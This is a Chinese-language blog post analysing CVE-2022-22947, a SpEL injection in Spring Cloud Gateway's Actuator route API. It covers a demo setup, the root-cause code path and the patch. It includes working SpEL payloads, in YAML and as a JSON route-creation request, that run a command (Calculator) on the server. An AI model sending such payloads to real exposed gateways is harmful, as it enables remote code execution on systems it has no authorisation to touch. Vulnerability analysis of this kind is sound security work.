• SpringCloud Gateway 漏洞分析 (CVE-2022-22947)


    背景

    SpringCloud 是Spring提供的微服务实现框架,其中包含网关、配置中心和注册中心等内容,网关的第一代实现为zuul,第二代实现为Gateway,提供了更好的性能和特性。

    网关可以提供统一的流量控制和访问控制等功能,一般放在客户端请求的入口或作为nginx的直接上游如下图。

    image-20220429155954555

    Gateway 使用

    Gateway配置可以使用两种方式:

    1. yml或者properties 固定配置
    2. 通过actuator插件动态添加

    作为一个网关最主要的功能就是路由功能,而路由的规则由Route、Predicate、Filter 三部分组成。

    image-20220507104614874

    image-20220505104043194

    • Spring Cloud Gateway < 3.1.1
    • Spring Cloud Gateway < 3.0.7

    实操

    yml固定配置方式

    1. 首先在idea中新建spring项目,pom中引入spring-cloud-starter-gateway依赖(一般使用引入starter即可,这里单独指定含漏洞的自动配置底层包)
    <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <!-- 有漏洞底层包版本--> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-gateway-server</artifactId> <version>3.1.0</version> </dependency>
    1. 在application.yml或者application.properties中新建以下配置:
    spring: application: name: GatewatDemo cloud: gateway: routes: - id: "router1" uri: "http://127.0.0.1:9223/" predicates: - Path=/ filters: - AddResponseHeader=Result,1

    配置含义: 新建了一个id为router1 的路由,规则为当请求的路径为/时,将请求转发给http://127.0.0.1:9223 (predicates)并给响应增加一个头Result值为1(filter)。

    本地起一个9223服务,观察能否转发。启动项目,转发成功。这就是一个网关基本的功能。

    image-20220507102935696

    动态配置

    除了通过配置文件写死的方式,Gateway也支持通过Actuator(spring 监控组件)动态配置路由。

    1. pom中新引入spring-boot-starter-actuator
    <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency>
    1. 配置文件( Spring Boot 2.x 后为了安全起见默认只开放/actuator/health和/actuator/info端点),开启gateway监控
    management: endpoint: gateway: enabled: true endpoints: web: exposure: include: gateway
    1. 重启应用,访问http://localhost:8080/actuator/gateway/routes,出现下面页面则表示配置成功。

    image-20220507105819030

    1. 使用actuator动态创建路由,使用post请求发送以下内容到http://127.0.0.1:8080/actuator/gateway/routes/router2
    { "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "2" } }], "uri": "http://127.0.0.1:9224", "predicate": "/9224" }

    含义和第一种类似,不过转发路径变成了9224.

    1. 请求http://127.0.0.1:8080/actuator/gateway/refresh 应用配置
    2. 请求页面,页面404,这事因为9224的后端服务没有/9224这个端点所以是404,但有请求记录,证明转发成功。

    image-20220507110931016

    image-20220507111534660

    1. 为了使请求正常,所以配置新增一项重写path
    { "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "2" } },{ "name":"RewritePath", "args":{ "_genkey_0":"/9224", "_genkey_1":"/" } }], "uri": "http://127.0.0.1:9224", "predicate": "/9224" }
    1. 重新访问,页面正常

    image-20220507142144779

    漏洞复现

    其实这个漏洞本身是一个SpEL注入,我们尝试在之前的yml配置文件中使用SpEL表达式,我们将filter中的AddResponseHeader 值改为#{1+1}

    spring: application: name: GatewatDemo cloud: gateway: routes: - id: "router1" uri: "http://127.0.0.1:9223/" predicates: - Path=/ filters: - AddResponseHeader=Result,#{1+1}

    查看返回头,表达式被成功执行:

    image-20220507143056451

    将表达式替换成恶意的SpEL表达式即可触发RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

    image-20220507143534185

    虽然这个地方确实存在SpEL注入,但却很难利用,因为攻击者很难控制目标机器的配置文件,所以利用条件就变成了有没有开启Actuator,且Actuator开启了gateway功能没有配置spring security。

    使用动态创建的方法试试。

    使用以下payload请求创建路由:

    { "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}" } },{ "name":"RewritePath", "args":{ "_genkey_0":"/9224", "_genkey_1":"/" } }], "uri": "http://127.0.0.1:9224", "predicate": "/9224" }

    刷新路由,发现代码成功执行。

    image-20220507143938777

    原理分析

    我们打开spring-cloud-gateway的官网,发现SpEL原本是官方提供的一个引用bean的功能。

    image-20220507144939000

    我们对exec执行下个断点,观察程序的调用栈。

    image-20220507145345080

    前面一堆是Reactor的逻辑,因为是异步非阻塞的方式,所以阅读起来有一定门槛。

    简单来说,就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法,然后请求org.springframework.cloud.gateway.actuate 包中的refresh()方法

    image-20220507153931678

    后续会将application的上下文传入gateway的逻辑,在处理Filter的逻辑中会对属性字段进行normalizeProperties 操作:

    image-20220507155358468

    image-20220507155439784

    具体逻辑会放入normalize中进行处理,其中第一个参数即为我们自己配置的filter处理逻辑

    image-20220507155545353

    第三个参数为SpEL的parse。

    image-20220507155616750

    随后进入ShorcutType中的normalize进行处理,解析key、value进入并将value传入getValue():

    image-20220507160354738

    在getValue中对字符串进行trim操作,同时判断字符串以#{开始并以}结束:

    image-20220507160818186

    如果满足条件则进入SpEL进行解析,可以看到这里导致能够RCE的原因,使用了StandardEvaluationContext 作为context, 随后对配置文件的value进行标准SpEL解析。

    image-20220507160957542

    到这里就基本理解了漏洞触发的原因

    补丁分析

    在2月17号,开发者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable使用自定义Context方式替换原来的StanderdContext

    image-20220507161928282

    自定义的Context增加了Spring的BeanFactory类,从而能实现对Spinrg IOC容器 bean的引用。

    image-20220507161959120

    image-20220507162124643

    修复后新版本运行会报错:

    image-20220507165954933

    总结

    漏洞影响版本:

    • Spring Cloud Gateway < 3.1.1
    • Spring Cloud Gateway < 3.0.7

    基本上和SpringCloud Functions 一样是个SpEL注入的漏洞,只不过在网关的场景出现,需要应用暴露actuator,有一定前置条件。

    引用

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947

    https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/

    https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

    https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator

    公众号

    欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!


    __EOF__

    本文作者9eek
    本文链接https://www.cnblogs.com/9eek/p/16243402.html
    关于博主:评论和私信会在第一时间回复。或者直接私信我。
    版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
    声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
  • 相关阅读:
    matlab中narginchk函数用法及其举例
    Linux项目自动化构建工具:make/Makefile
    帐篷出口欧洲需要做哪些检测认证?
    go-zero 微服务实战系列(二、服务拆分)
    Kafka 单机部署搭建及其基本使用
    实用笔记-java配置
    【操作系统】页表映射
    ZooKeeper+HBase分布式集群环境搭建
    Windbg 命令 (一)
    搜维尔科技:scalefit生物力学人体工学软件分析!
  • 原文地址:https://www.cnblogs.com/9eek/p/16243402.html